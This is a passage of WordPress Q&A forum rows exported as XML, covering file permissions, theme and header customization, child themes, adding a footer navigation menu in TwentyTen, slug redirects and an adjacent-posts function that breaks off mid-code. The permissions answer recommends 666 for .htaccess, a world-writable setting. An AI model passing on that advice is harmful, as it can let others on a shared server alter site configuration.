  <row Id="2743" PostTypeId="1" AcceptedAnswerId="2746" CreationDate="2010-10-09T12:10:57.927" Score="1" ViewCount="617" Body="&lt;p&gt;For all the folders and files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please give some explained answer.&lt;/p&gt;&#xA;" OwnerUserId="876" LastActivityDate="2010-10-09T13:02:35.657" Title="What is true chmod for WordPress?" Tags="&lt;3.0&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="5" />
  <row Id="2744" PostTypeId="2" ParentId="2742" CreationDate="2010-10-09T12:15:31.160" Score="0" ViewCount="" Body="&lt;p&gt;It depends. There is number of ways theme can be customized:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;it can include ready-made widget areas or admin control panel;&lt;/li&gt;&#xA;&lt;li&gt;it can include set of hooks to insert content in different areas;&lt;/li&gt;&#xA;&lt;li&gt;templates can be directly edited;&lt;/li&gt;&#xA;&lt;li&gt;etc.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Most basic way to modify header is &lt;code&gt;header.php&lt;/code&gt; template, called by &lt;code&gt;get_header()&lt;/code&gt; function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But without seeing the internals the only person who can properly answer this is theme's developer.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-10-09T12:15:31.160" />
  <row Id="2745" PostTypeId="2" ParentId="2742" CreationDate="2010-10-09T12:35:54.470" Score="1" ViewCount="" Body="&lt;p&gt;Generally:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Some themes provide hooks or widgets areas that you can use&lt;/li&gt;&#xA;&lt;li&gt;For the theme which does not provide them, you can create a child theme or edit templates files.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;With the theme you are using on your blog, there is no hook. So, I would recommend creating a &lt;a href=&quot;http://codex.wordpress.org/Child_Themes&quot; rel=&quot;nofollow&quot;&gt;Child Theme&lt;/a&gt;. The benefit is that your modifications will not be overwritten during a theme upgrade.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Steps:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Create a child theme&lt;/li&gt;&#xA;&lt;li&gt;Copy &lt;code&gt;header.php&lt;/code&gt; from the theme directory to the child theme&lt;/li&gt;&#xA;&lt;li&gt;Modify the new &lt;code&gt;header.php&lt;/code&gt; file in the child theme directory&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;See the codex for &lt;a href=&quot;http://codex.wordpress.org/WordPress_Feeds&quot; rel=&quot;nofollow&quot;&gt;details about the feeds URLs&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="473" LastActivityDate="2010-10-09T12:35:54.470" CommentCount="1" />
  <row Id="2746" PostTypeId="2" ParentId="2743" CreationDate="2010-10-09T13:02:35.657" Score="5" ViewCount="" Body="&lt;p&gt;All files should be writable only by your user account. So the correct permissions for files and directories are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Directories: 755&lt;/li&gt;&#xA;&lt;li&gt;Files: 644&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You may want to secure some files:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;wp-config.php: for maximum security, this file should be made writable by your user only or its group. This means 400 or 440 permission&lt;/li&gt;&#xA;&lt;li&gt;.htaccess: 666 permission, so that WordPress can automatically generate rewrite rules for you&lt;/li&gt;&#xA;&lt;li&gt;wp-content/: some plugins and themes may require write access to this directory. you will be prompted when necessary.&lt;/li&gt;&#xA;&lt;li&gt;wp-content/themes/: 664 permission if you want to use the theme editor&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;References:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Changing_File_Permissions#Permission_Scheme_for_WordPress&quot; rel=&quot;nofollow&quot;&gt;Changing File Permissions&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Hardening_WordPress#File_permissions&quot; rel=&quot;nofollow&quot;&gt;Hardening WordPress&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="473" LastActivityDate="2010-10-09T13:02:35.657" />
  <row Id="2747" PostTypeId="2" ParentId="2624" CreationDate="2010-10-09T14:57:07.613" Score="0" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;In order to get the latest release of Wordpress working in its own directory on an XO Communications server, I installed the Disable Canonical URLs plugin: &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.mydigitallife.info/2010/01/24/how-to-disable-wordpress-canonical-url-or-permalink-auto-redirect/&quot; rel=&quot;nofollow&quot;&gt;http://www.mydigitallife.info/2010/01/24/how-to-disable-wordpress-canonical-url-or-permalink-auto-redirect/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1097" LastActivityDate="2010-10-09T14:57:07.613" />
  <row Id="2748" PostTypeId="2" ParentId="1743" CreationDate="2010-10-09T19:51:29.340" Score="0" ViewCount="" Body="&lt;p&gt;You can call &lt;a href=&quot;http://core.trac.wordpress.org/browser/branches/3.0/wp-admin/includes/plugin.php#L1283&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;get_admin_page_title()&lt;/code&gt;&lt;/a&gt;. If the global variable &lt;code&gt;$title&lt;/code&gt; is not empty it will return that, otherwise it will set it and return the value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is called at the top of &lt;a href=&quot;http://core.trac.wordpress.org/browser/branches/3.0/wp-admin/admin-header.php&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;admin-header.php&lt;/code&gt;&lt;/a&gt; and then goes through &lt;code&gt;esc_html()&lt;/code&gt;, so if you want the raw value you should empty &lt;code&gt;$title&lt;/code&gt; and call the function again.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2010-10-09T19:51:29.340" />
  <row Id="2749" PostTypeId="1" AcceptedAnswerId="2750" CreationDate="2010-10-09T20:35:39.560" Score="2" ViewCount="200" Body="&lt;p&gt;&lt;em&gt;(&lt;strong&gt;Moderator's note:&lt;/strong&gt; post was originally entitled &quot;Taxonomy.php title&quot;)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I display the &lt;em&gt;&quot;Posts classified under:&quot;&lt;/em&gt; title for the &lt;code&gt;taxonomy.php&lt;/code&gt; page? For example, this code is used in &lt;code&gt;tag.php&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;printf( __( 'Tag Archives: %s', 'twentyten' ), &#xA;   '&amp;lt;span&amp;gt;' . single_tag_title( '', false ) . '&amp;lt;/span&amp;gt;' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1136" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-10-10T01:09:04.343" LastActivityDate="2011-01-21T22:03:22.473" Title="Displaying the Name of the Queried Taxonomy Term on a Term Archive Page?" Tags="&lt;custom-taxonomy&gt;" AnswerCount="1" />
  <row Id="2750" PostTypeId="2" ParentId="2749" CreationDate="2010-10-09T20:45:24.453" Score="1" ViewCount="" Body="&lt;p&gt;Use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$tax = $wp_query-&amp;gt;get_queried_object();&#xA;printf( __( 'Posts classified under: %s', 'textdomain' ), '&amp;lt;span&amp;gt;' . $tax-&amp;gt;name . '&amp;lt;/span&amp;gt;' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="473" LastActivityDate="2010-10-09T20:45:24.453" CommentCount="4" />
  <row Id="2751" PostTypeId="1" CreationDate="2010-10-09T22:20:12.790" Score="1" ViewCount="86" Body="&lt;p&gt;I have a hosted Wordpress blog running on my own domain. I've recently considered trying to build a custom URL shortener (a la bit.ly) that I manage and control using a very short domain. I'm wondering how I can achieve this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want this: &lt;a href=&quot;http://nerdgap.com/some-made-up-post-here/&quot; rel=&quot;nofollow&quot;&gt;http://nerdgap.com/some-made-up-post-here/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To shorten to this: &lt;a href=&quot;http://g4p.it/23&quot; rel=&quot;nofollow&quot;&gt;http://g4p.it/23&lt;/a&gt;  (where 23 is the Worpress post ID).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible? How can I go about it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="954" LastActivityDate="2010-10-10T15:52:55.320" Title="How can I use a separate domain for URL shortening?" Tags="&lt;domain&gt;&lt;urls&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="2752" PostTypeId="2" ParentId="2751" CreationDate="2010-10-09T22:32:33.417" Score="1" ViewCount="" Body="&lt;p&gt;Try &lt;a href=&quot;http://yourls.org/&quot; rel=&quot;nofollow&quot;&gt;Yourls&lt;/a&gt;. I hadn't used it myself but feedback I seen is very positive and it is project by very known developers (Lester Chan and Ozh).&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-10-09T22:32:33.417" />
  <row Id="2753" PostTypeId="1" AcceptedAnswerId="2763" CreationDate="2010-10-09T22:42:19.233" Score="2" ViewCount="307" Body="&lt;p&gt;We currently use wordpress to manage our website under our main domain.&#xA;We also have a few subdomain under which different applications run.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;www.example.com // our main website, running wordpress&#xA;extranet.example.com // a custom-made LAMP application&#xA;forum.example.com // another LAMP application&#xA;*.example.com // anything can happen in there.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;We would like to use the Network feature to create subdomains in which each team can have its own communication tool based on wordpress + buddypress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Question: can i convert our main wordpress installation to Network with subdomain, without removing access to extranet.* and forum.* ? I &lt;a href=&quot;http://codex.wordpress.org/Create_A_Network&quot; rel=&quot;nofollow&quot;&gt;read the manual&lt;/a&gt;, but it doesn't address the specific case where subdomains already exist and i'm afraid to break things up.&lt;/p&gt;&#xA;" OwnerUserId="82" LastEditorUserId="82" LastEditorDisplayName="" LastEditDate="2010-10-09T22:52:19.320" LastActivityDate="2010-10-10T16:10:51.093" Title="convert from single site to multisite (network) with existing subdomains" Tags="&lt;multisite&gt;&lt;network&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="2754" PostTypeId="2" ParentId="324" CreationDate="2010-10-09T23:12:09.837" Score="0" ViewCount="" Body="&lt;p&gt;I just use Netbeans php ide,heidiSql,FileZilla,Firebug and Web Developer.&#xA;Question,is there a similar tool like PHPXref?Some other widnows app?&lt;/p&gt;&#xA;" OwnerUserId="1147" LastActivityDate="2010-10-09T23:12:09.837" CommunityOwnedDate="2010-10-09T23:12:09.837" CommentCount="2" />
  <row Id="2755" PostTypeId="1" CreationDate="2010-10-10T01:13:27.493" Score="1" ViewCount="175" Body="&lt;p&gt;I had a page called Recipes.  I changed it to Recipes_old and changed the slug so I could create a new Recipes page.  When I created the new Recipes page the slug was properly defined as /recipes/ but I can't get to the page, WordPress is redirecting all requests to /recipes_old/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I remove the redirect?  I have at this point deleted Recipes_old and Recipes.  Still the slug is being redirected.&lt;/p&gt;&#xA;" OwnerUserId="1197" LastActivityDate="2011-06-06T22:42:37.967" Title="Slug is redirecting to 404" Tags="&lt;page&gt;&lt;redirect&gt;&lt;slug&gt;" AnswerCount="2" />
  <row Id="2756" PostTypeId="2" ParentId="2755" CreationDate="2010-10-10T01:19:02.520" Score="3" ViewCount="" Body="&lt;p&gt;This was caused by the Redirection plugin. Apparently it is trying to help by setting up redirects when you change the slugs for pages/posts.  You have to click on &quot;Groups&quot; at the top of the Redirection plugin settings and then choose &quot;Modified posts&quot; to see the redirection that was automatically created to point from the old slug to the new one.  Unfortunately these are not cleaned up when pages/posts are deleted.&lt;/p&gt;&#xA;" OwnerUserId="1197" LastActivityDate="2010-10-10T01:19:02.520" CommentCount="1" />
  <row Id="2757" PostTypeId="1" AcceptedAnswerId="2760" CreationDate="2010-10-10T04:30:02.003" Score="0" ViewCount="2077" Body="&lt;p&gt;How to get multiple menus in TwentyTen theme?&lt;/p&gt;&#xA;" OwnerUserId="1176" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-03-25T21:05:40.583" LastActivityDate="2011-03-25T21:05:40.583" Title="Creating Multiple Menus when using the TwentyTen Theme?" Tags="&lt;themes&gt;&lt;custom-menus&gt;&lt;theme-twenty-ten&gt;&lt;design&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="2758" PostTypeId="1" AcceptedAnswerId="2786" CreationDate="2010-10-10T06:36:26.927" Score="0" ViewCount="87" Body="&lt;p&gt;I've got a site (&lt;a href=&quot;http://www.dancebloggers.com/&quot; rel=&quot;nofollow&quot;&gt;this one&lt;/a&gt;) with too many links in the blogroll.  I want to keep them there, but to maybe have them &quot;fold&quot; in the menu (after some of them showing without the unfolding of the menu)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any solutions for that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update: When I wrote &quot;folding&quot; I meant that, for (a rough) example, there would be a shuffling of the links showing and that at some point there would be a &quot;press here for more links&quot; button - that will poll down more of the links.&lt;/p&gt;&#xA;" OwnerUserId="161" LastEditorUserId="161" LastEditorDisplayName="" LastEditDate="2010-10-10T20:35:57.383" LastActivityDate="2010-10-11T11:57:37.880" Title="&quot;Folding&quot; links in the blogroll" Tags="&lt;sidebar&gt;&lt;links&gt;&lt;widgets&gt;&lt;blogroll&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="2759" PostTypeId="1" AcceptedAnswerId="2761" CreationDate="2010-10-10T10:08:30.777" Score="2" ViewCount="291" Body="&lt;p&gt;Let's assume that I have the following posts with the following titles:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;PostA (is assigned to the 'category 1')&lt;/li&gt;&#xA;&lt;li&gt;PostX (&lt;strong&gt;category 2&lt;/strong&gt;)&lt;/li&gt;&#xA;&lt;li&gt;PostB (category 1)&lt;/li&gt;&#xA;&lt;li&gt;PostC (&lt;em&gt;category 1&lt;/em&gt;)&lt;/li&gt;&#xA;&lt;li&gt;PostD (category 1)&lt;/li&gt;&#xA;&lt;li&gt;PostY (&lt;strong&gt;category 2&lt;/strong&gt;)&lt;/li&gt;&#xA;&lt;li&gt;PostE (category 1)&lt;br&gt;&#xA;...&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;When a visitor will read the PostC, how can I display in the sidebar:&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Previous Posts:&lt;/em&gt;&lt;br&gt;&#xA;  'PostA' (these are links here, of course)&lt;br&gt;&#xA;  'PostB'  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Next Posts:&lt;/em&gt;&lt;br&gt;&#xA;   'PostD'&lt;br&gt;&#xA;   'PostE'  &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;IOW the previous and the next 2 posts from the same category. (If a post has more categories we will choose the 1st one or the last one - it doesn't matter very much). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, if it is impossible to display the prev &amp;amp; next two posts it is acceptable also only one previous and next post. (I know that there are some WP functions for this but we prefer if it's possible two posts). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, of course, we want to display the first &lt;em&gt;'n'&lt;/em&gt; characters from the title (let's say 22). We don't want to display a static text like 'Next Post' or similar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;TIA&lt;/p&gt;&#xA;" OwnerUserId="1198" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-10-10T23:15:38.953" LastActivityDate="2010-10-10T23:15:38.953" Title="Getting the Next and Previous Posts Titles in the Sidebar?" Tags="&lt;posts&gt;&lt;sidebar&gt;&lt;navigation&gt;" AnswerCount="1" />
  <row Id="2760" PostTypeId="2" ParentId="2757" CreationDate="2010-10-10T10:14:46.020" Score="4" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@Himanshu Vyas&lt;/strong&gt;: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are &lt;strong&gt;several steps to creating additional menus using the new menu system in WordPress&lt;/strong&gt; in the TwentyTen theme or any WordPress theme &lt;em&gt;(of which some of these steps can be done out of order)&lt;/em&gt;. In addition, I'm going to highly recommend you create a child theme based on TwentyTen instead of modifying it directly:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Create a Child Theme&lt;/strong&gt; based on the Twenty Ten theme.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Register a Theme Location&lt;/strong&gt; in your theme's &lt;code&gt;functions.php&lt;/code&gt; file.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Create a New Menu&lt;/strong&gt; using the admin console of your website.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Associate the New Menu and the Theme Location&lt;/strong&gt; using your admin console.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Call &lt;code&gt;wp_nav_menu()&lt;/code&gt; in the Template File&lt;/strong&gt; of your theme where you want the menu to appear.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Style your Menu&lt;/strong&gt; so that it integrates visually with your site.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;So let's be on with it!&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;1. Create a Child Theme&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Creating &lt;strong&gt;a child theme is extremely simple&lt;/strong&gt; and gives you the benefit of being able to upgrade TwentyTen if a new version comes out without haven't to worry about loosing your changes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Yes, there's a small chance your changes will be incompatible with the new version, and if you make copies of TwentyTen files and modify them for your child theme you'll need to reapply those changes, but that's much better than loosing your changes when the theme is upgraded.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But rather than duplicate my answer from another question where I suggested child themes I'll just point you there:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/290/customizing-a-wordpress-theme-without-changing-it/291#291&quot;&gt;&lt;strong&gt;Customizing a WordPress theme without changing it? (Use Child Themes)&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;For the examples in the rest of this answer I'm going to call the child theme &lt;em&gt;&quot;Himanshu&quot;&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;2. Register a Theme Location&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Registering a theme location &lt;strong&gt;is very straightforward using the &lt;code&gt;register_nav_menus()&lt;/code&gt; function&lt;/strong&gt; &lt;em&gt;(yes, it would have been really nice if they had called that function &lt;code&gt;register_nav_menu_locations()&lt;/code&gt;, but I digress...)&lt;/em&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'll create a &lt;strong&gt;&lt;em&gt;&quot;Footer&quot;&lt;/em&gt;&lt;/strong&gt; menu for this example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my example notice how I reference &lt;code&gt;'primary'&lt;/code&gt; in a comment; I do that so you'll see what the default nav menu location is named and that you don't have to define it yourself.  Also note that I used to &lt;code&gt;__()&lt;/code&gt; translation function and specified the name of the child theme as the translation domain. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are using a child theme you need to create a &lt;code&gt;functions.php&lt;/code&gt; file in your theme to house this function but if you are modifying a theme them just find &lt;code&gt;functions.php&lt;/code&gt; and add it to the end:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;register_nav_menus(array(&#xA;  //'primary' =&amp;gt; __('Primary Menu Area','himanshu'), ==&amp;gt; Primary defined by default&#xA;  'footer'  =&amp;gt; __('Footer Menu Area','himanshu'),&#xA;));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you are writing code for your own theme and don't need to distribute it to others or worry about translations you can just do this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;register_nav_menus(array('footer'=&amp;gt;'Footer Menu Area'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;3. Create a New Menu&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Next let's create your footer menu located by navigating to the &lt;strong&gt;Menus&lt;/strong&gt; option of the &lt;strong&gt;Appearance&lt;/strong&gt; menu in the admin console. Click the &lt;em&gt;&quot;+&quot;&lt;/em&gt; to add a menu, type the name of your menu and then click &lt;em&gt;&quot;Create Menu&quot;&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://mikeschinkel.com/websnaps/skitched-20101010-042401.png&quot; alt=&quot;Creating a Nav Menu in WordPress 3.x&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt; that you'll often name your menu the same as the name of your menu location but that's not required and &lt;strong&gt;WordPress treats menus and their menu locations them as separate entities&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Be sure to &lt;strong&gt;add some options to your menu&lt;/strong&gt; or it will be of little use. Select the options you need using the admin console, add them to your menu and then save &lt;em&gt;(in my screenshot I only show selecting &quot;Pages&quot; for menu options but you can mix and match what ever types of menu options WordPress provides)&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://mikeschinkel.com/websnaps/skitched-20101010-044801.png&quot; alt=&quot;Added Options to a Nav Menu in WordPress 3.x&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;4. Associate the New Menu and the Theme Location&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Associating your new menu with your desired theme location is easy, just use WordPress' admin console:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://mikeschinkel.com/websnaps/skitched-20101010-045447.png&quot; alt=&quot;Associating a Nav Menu with a Theme Menu Location in WordPress 3.0&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;5. Call &lt;code&gt;wp_nav_menu()&lt;/code&gt; in the Template File&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Now we need to head back to code. I made a copy of &lt;code&gt;footer.php&lt;/code&gt; from the TwentyTen theme and copied it to the &lt;em&gt;&quot;Himanshu&quot;&lt;/em&gt; theme directory. Here's what the first 18 lines look like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/**&#xA; * The template for displaying the footer.&#xA; *&#xA; * Contains the closing of the id=main div and all content&#xA; * after.  Calls sidebar-footer.php for bottom widgets.&#xA; *&#xA; * @package WordPress&#xA; * @subpackage Himanshu (based on Twenty Ten)&#xA; * @since Twenty Ten 1.0&#xA; */&#xA;?&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&amp;lt;!-- #main --&amp;gt;&#xA;&#xA;  &amp;lt;div id=&quot;footer&quot; role=&quot;contentinfo&quot;&amp;gt;&#xA;    &amp;lt;div id=&quot;colophon&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I inserted the call to &lt;code&gt;wp_nav_menu()&lt;/code&gt; along with wrapper HTML right after &lt;code&gt;&amp;lt;div id=&quot;colophon&quot;&amp;gt;&lt;/code&gt; on line 18 so lines 13 thru 24 now look like the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;/div&amp;gt;&amp;lt;!-- #main --&amp;gt;&#xA;&#xA;&amp;lt;div id=&quot;footer&quot; role=&quot;contentinfo&quot;&amp;gt;&#xA;  &amp;lt;div id=&quot;colophon&quot;&amp;gt;&#xA;    &amp;lt;div id=&quot;footernav&quot; role=&quot;navigation&quot;&amp;gt;&#xA;      &amp;lt;?php&#xA;        wp_nav_menu(array(&#xA;          'container_class' =&amp;gt; 'menu-footer',&#xA;          'theme_location' =&amp;gt; 'footer'&#xA;        ));&#xA;      ?&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt; I chose to call the wrapper &lt;code&gt;footernav&lt;/code&gt; and the inner container &lt;code&gt;menu-footer&lt;/code&gt; and I followed TwentyTen's lead and set &lt;code&gt;role=&quot;navigation&quot;&lt;/code&gt;. However, &lt;strong&gt;the most important aspect of the code is &lt;code&gt;'theme_location' =&amp;gt; 'footer'&lt;/code&gt;&lt;/strong&gt; which matches up to our named theme location in step #2. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;All these steps gives us a Footer menu that looks like the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://mikeschinkel.com/websnaps/skitched-20101010-051632.png&quot; alt=&quot;A Footer Nav Menu in WordPress 3.x prior to styling&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;6. Style your Menu&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Finally we just need to add CSS to our theme's &lt;code&gt;style.css&lt;/code&gt; file and we can get a footer menu that looks like so:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://mikeschinkel.com/websnaps/skitched-20101010-060157.png&quot; alt=&quot;A Footer Nav Menu in WordPress 3.x with styling&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The styling is very basic &lt;em&gt;so please don't hold my awful design skills against me as I'm &lt;strong&gt;not&lt;/strong&gt; a designer nor have I ever threatened to be one!&lt;/em&gt; I've included comments in the CSS code explain why I used each selector and CSS property that I did: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#colophon {&#xA;  padding-top:6px;        /* Move menu closer to thick black line (TwentyTen has 18px) */&#xA;}&#xA;#footernav {              /* Use same font-family as TwentyTen does for menus */&#xA;  font-family: 'Helvetica Neue', Arial, Helvetica, 'Nimbus Sans L', sans-serif;&#xA;  font-size:1.1em;        /* Make a little bigger than default */&#xA;  padding-bottom:6px;     /* Put some breathing room under the menu */&#xA;}&#xA;#footernav .menu-footer {&#xA;  text-align:center;      /* Needed to center the menu */&#xA;}&#xA;#footernav ul {&#xA;  margin:0 auto;          /* Also needed to center the menu */&#xA;  width:auto;             /* Make menu only as wide as needs to be */&#xA;  display:inline;         /* Also needed to keep width to a minumum */&#xA;}&#xA;#footernav li {&#xA;  display:inline;         /* Make menu horizontal instead of veritcal */&#xA;}&#xA;#footernav a {&#xA;  text-decoration:none;   /* Remove underlines from links */&#xA;  background-color:#ddd;  /* Create a light grey background for each option */&#xA;  color:black;            /* Make the items easy to see with text in black */&#xA;  padding:0.25em 0.5em;   /* Add space around the items for the background to display*/&#xA;  margin:0 0.5em;         /* Add space between the items */&#xA;}&#xA;#footernav a:hover {&#xA;  background-color:black; /* Surround the menu item under the mouse pointer in black */&#xA;  color:white;            /* Make the text for the same menu item be white */&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That's about it! Do note that this is a tool for a designer to use so you or whomever your designer is can implement menus using this in practically whatever way you like from a &lt;em&gt;theme&lt;/em&gt; perspective; just call the &lt;code&gt;wp_nav_menu()&lt;/code&gt; function referencing your menus and menu locations and you're good to go!&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-10-10T10:21:24.630" LastActivityDate="2010-10-10T10:21:24.630" CommentCount="10" />
  <row Id="2761" PostTypeId="2" ParentId="2759" CreationDate="2010-10-10T11:42:36.257" Score="3" ViewCount="" Body="&lt;p&gt;The existing WordPress functions are only for displaying one previous or next post. I quickly wrote functions to display any number of posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Paste the following in your theme functions.php file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function custom_get_adjacent_posts( $in_same_cat = false, $previous = true, $limit = 2 ) {&#xA;    global $post, $wpdb;&#xA;&#xA;    $op = $previous ? '&amp;lt;' : '&amp;gt;';&#xA;&#xA;    if ( $in_same_cat ) {&#xA;        $cat_array = wp_get_object_terms($post-&amp;gt;ID, 'category', array('fields' =&amp;gt; 'ids'));&#xA;&#xA;        $join = &quot; INNER JOIN $wpdb-&amp;gt;term_relationships AS tr ON p.ID = tr.object_id INNER JOIN $wpdb-&amp;gt;term_taxonomy tt ON tr.term_taxonomy_id = tt.term_taxonomy_id AND tt.taxonomy = 'category' AND tt.term_id IN (&quot; . implode(',', $cat_array) . &quot;)&quot;;&#xA;    }&#xA;&#xA;    $posts = 